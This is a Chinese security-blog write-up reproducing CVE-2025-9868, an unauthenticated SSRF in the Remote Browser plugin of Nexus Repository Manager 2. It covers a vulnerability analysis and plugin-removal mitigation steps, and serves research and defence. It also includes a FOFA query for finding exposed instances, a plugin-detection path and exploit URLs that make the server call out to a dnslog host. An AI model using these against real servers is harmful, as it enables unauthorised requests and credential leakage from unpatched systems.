CVE-2025-9868 Nexus Repository 2 – 远程浏览器插件导致的未授权 SSRF 漏洞复现

阅读量8988

发布时间 : 2025-12-12 18:10:16

CVE-2025-9868 Nexus Repository 2 – 远程浏览器插件导致的未授权 SSRF 漏洞复现

漏洞概况

漏洞发现日期:2025年10月8日

受影响的版本:所有 Sonatype Nexus Repository Manager 2.x OSS/Pro 版本

概括

Nexus Repository 2 中发现了一个漏洞。

攻击者可以利用远程浏览器插件向攻击者控制的服务器发送任意 HTTP GET 请求。如果受影响的 Nexus Repository Manager 2 实例配置了代理存储库的身份验证,则凭据可能会泄露给攻击者。此漏洞无需身份验证即可利用。

Nexus Repository Manager 2 已于 2025 年 6 月停产,目前尚未收到任何安全补丁。Sonatype 不会发布针对此问题的修复程序。

推荐

Sonatype Nexus Repository Manager 2.x 已终止服务,继续使用不安全。我们强烈建议剩余部署迁移到 Sonatype Nexus Repository 3。

如果无法立即迁移,我们建议采取以下缓解措施:

  • 禁用或删除 Nexus Repository 2.x 中的远程浏览器插件。
  • 将 Nexus Repository Manager 2.x 实例置于限制出站连接的限制性反向代理或防火墙后面。

漏洞复现

fofa: body=”Nexus Repository Manager OSS”

image-20251009224121784

POC

访问/nexus-rrb-plugin/default/docs/index.html 路径,存在即证明存在该插件

image-20251009221827586

漏洞分析

源代码地址:https://github.com/sonatype/nexus-public/

主要漏洞代码在 plugins/basic/nexus-rrb-plugin/src/main/java/org/sonatype/nexus/plugins/rrb/RemoteBrowserResource.java 中。

1. URL 路径定义

如下图,定义了 REST 接口的 URL 模版,其中{repositoryId}是占位符,后续会从 URL 中提取实际值,这是用户输入进入系统的入口,repositoryId 和后续的 remotePath 均有用户控制。

image-20251009222222510

2. 提取repositoryId(初步校验)

从请求中的 URL 中提取repositoryId,仅提取值,未做校验,但后续会校验仓库是否存在,此处不直接产生风险,但repositoryId 的合法性校验不足以为后续请求“背书”。

image-20251009223036746

3. 提取并处理 remotePath(核心风险点 1)

从请求中提取完全由用户控制输入的 remotePath,并尝试 URL 解码,未进行任何安全校验,故攻击者可构造恶意 remotePath,例如路径穿越或绝对路径。

image-20251009223118229

4. 校验仓库存在性与 SSRF

通过repositoryIds查询系统中是否存在对应的仓库,若不存在则抛出NoSuchRepositoryException异常。同时 createHttpClient 发起 HTTP 请求,并在后续返回 data。

image-20251009223459895

EXP

确定repositoryId,通常默认会存在”central”

image-20251009223835647

构造 URL 并访问

SSRF dnslog:https://x.com/service/local/repositories/central/remotebrowser/http://n2.fb2266405d.ddns.1433.eu.org

image-20251009224025611

SSRF biadu.com:https://x.com/service/local/repositories/central/remotebrowser/http://www.baidu.com

image-20251009224059922

修复方法

Nexus Repository Manager 2 已于 2025 年 6 月停产,目前尚未收到任何安全补丁。Sonatype 不会发布针对此问题的修复程序。所以进行删除插件操作:

1.停止Nexus存储库

在进行任何更改之前,请停止 Nexus 服务:

<install_dir>/bin/nexus stop

或者,如果作为系统服务进行管理:

sudo systemctl stop nexus
  1. 找到插件目录

导航到 Nexus 安装中的插件存储库目录:

cd <nexus_install_dir>/nexus/WEB-INF/plugin-repository/

查找 RRB 插件文件夹:

ls | grep nexus-rrb-plugin

3.删除RRB插件

删除整个 RRB 插件目录:

rm -rf nexus-rrb-plugin-*

4.启动Nexus存储库

删除后,重新启动服务:

<install_dir>/bin/nexus start

或者:

sudo systemctl start nexus

该插件现已移除,将不再加载。查看仓库时,“浏览远程”选项卡将不再可用。

参考链接

https://support.sonatype.com/hc/en-us/articles/45363201583635-CVE-2025-9868-Nexus-Repository-2-SSRF-Vulnerability-in-Remote-Browser-Plugin

本文由李逍遥Xyao原创发布

转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/312467

安全KER - 有思想的安全新媒体

分享到:微信
+10赞
收藏
李逍遥Xyao
分享到:微信

发表评论

Copyright © 北京奇虎科技有限公司 三六零数字安全科技集团有限公司 安全KER All Rights Reserved 京ICP备08010314号-66